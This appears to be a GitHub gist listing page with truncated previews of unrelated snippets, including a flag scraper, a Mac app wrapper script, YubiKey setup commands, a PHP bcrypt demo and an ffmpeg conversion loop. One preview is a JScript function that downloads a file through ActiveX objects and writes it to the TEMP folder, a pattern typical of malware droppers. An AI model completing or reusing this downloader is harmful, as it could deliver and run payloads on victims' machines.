This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from lxml import html #pip install lxml | |
import requests, time, os.path, json | |
save_to = 'flags_new' #folder where you want to save. NO / ! | |
temp_data, data = {}, {} | |
errors = 'Errors: \n' | |
def stripper(c_name): | |
print('Doing: ', c_name) | |
page = requests.get('https://en.wikipedia.org/wiki/File:Flag_of_' + c_name + '.svg') #loads the webpage | |
tree = html.fromstring(page.text) #html to xpath tree |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ "$1" = "-h" -o "$1" = "--help" -o -z "$1" ]; then cat <<EOF | |
appify v3.0.1 for Mac OS X - http://mths.be/appify | |
Creates the simplest possible Mac app from a shell script. | |
Appify takes a shell script as its first argument: | |
`basename "$0"` my-script.sh |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MTIxOTkyNDk1MTQyNjE1MTQ3OTV8QW5vbnw3fDFlKzU0fDNlKzQ1fDEsMTEsMTMsMTJ8ODk5OTkxNjAwMDMzOTUwfDB8MHwwfDB8MHwwfDB8MHwwfDB8MHwwfDB8MHwwfDB8 | |
MHwwfDExfDExfDF8MXw0M3wxfDF8MXwxfDB8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwwfDEyOTU3OTUyMjk0NDkzMDE2MDAwfDNlKzQ3fDg3fDB8 | |
OTk5OTk5OTk5OTk5OTk5fDQzNjg1fDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwxfDF8MXwwfDB8MHwwfDB8MHwwfDB8MHwwfDB8MHww | |
fDB8MHwwfDB8MHwwfDB8MHwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMHwwfDIwNHwxNDI2MTY2MjkyNjc4fDE= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo add-apt-repository ppa:yubico/stable | |
sudo apt-get update | |
sudo apt-get install libauth-yubikey-webclient-perl yubikey-personalization yubikey-personalization-gui | |
sudo wget -O /etc/udev/rules.d/70-u2f.rules https://raw.githubusercontent.com/Yubico/libu2f-host/master/70-u2f.rules | |
sudo reboot |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$password = "id10t"; | |
$salt = bin2hex(openssl_random_pseudo_bytes(22)); | |
$challange = "$2a$12$"; | |
$hash = crypt($password, $challange.$salt); | |
echo $hash.'<br>'; | |
echo var_dump(crypt('id10t', $hash) === $hash) | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>RMS - Read My SMS</title> | |
<style type="text/css"> | |
html,body { | |
height: 100%; | |
margin: 0px; | |
padding: 0px; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Keybase proof | |
I hereby claim: | |
* I am herrniemand on github. | |
* I am niemand (https://keybase.io/niemand) on keybase. | |
* I have a public key whose fingerprint is B140 D3A2 5B0F BB60 5BDD 5A15 A590 46EC 30B0 584F | |
To claim this, I am signing this object: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function dl(fr, fn, rn) { | |
var ws = new ActiveXObject("WScript.Shell"); | |
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn; | |
var xo = new ActiveXObject("MSXML2.XMLHTTP"); | |
xo.onreadystatechange = function() { | |
if (xo.readyState === 4) { | |
var xa = new ActiveXObject("ADODB.Stream"); | |
xa.open(); | |
xa.type = 1; | |
xa.write(xo.ResponseBody); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
for song in *.mp4 | |
do | |
NEWFILENAME=`echo $song | sed 's/\(.*\.\)mp4/\1mp3/'` | |
echo Converting $song... | |
ffmpeg -i "$song" -vn \ | |
-acodec libmp3lame -ac 2 -qscale:a 4 -ar 48000 \ | |
"$NEWFILENAME" | |
echo Done! |